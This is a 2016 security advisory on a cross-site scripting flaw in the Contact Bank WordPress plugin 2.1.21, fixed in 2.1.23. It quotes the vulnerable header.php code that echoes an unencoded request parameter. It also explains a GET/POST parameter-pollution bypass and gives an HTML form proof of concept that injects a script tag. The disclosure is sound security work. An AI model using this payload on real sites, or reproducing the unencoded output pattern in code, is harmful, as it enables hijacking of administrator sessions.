WordPress Contact Bank 2.1.21 Cross Site Scripting
Posted on 02 August 2016
------------------------------------------------------------------------ Cross-Site Scripting in Contact Bank WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Contact Bank WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0023 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Contact Bank - Contact Forms Builder WordPress Plugin version 2.1.21. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Contact Bank version 2.1.23. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_contact_bank_wordpress_plugin.html The issue exists in the file views/header.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below. <script> jQuery(document).ready(function() { jQuery(".nav-tab-wrapper > a#<?php echo $_REQUEST["page"];?>").addClass("nav-tab-active"); }); </script> Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter. Proof of concept <html> <body> <form action="http://<target>/wp-admin/admin.php?page=contact_dashboard" method="POST"> <input type="hidden" name="page" value="</script><script>alert(1);</script>" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
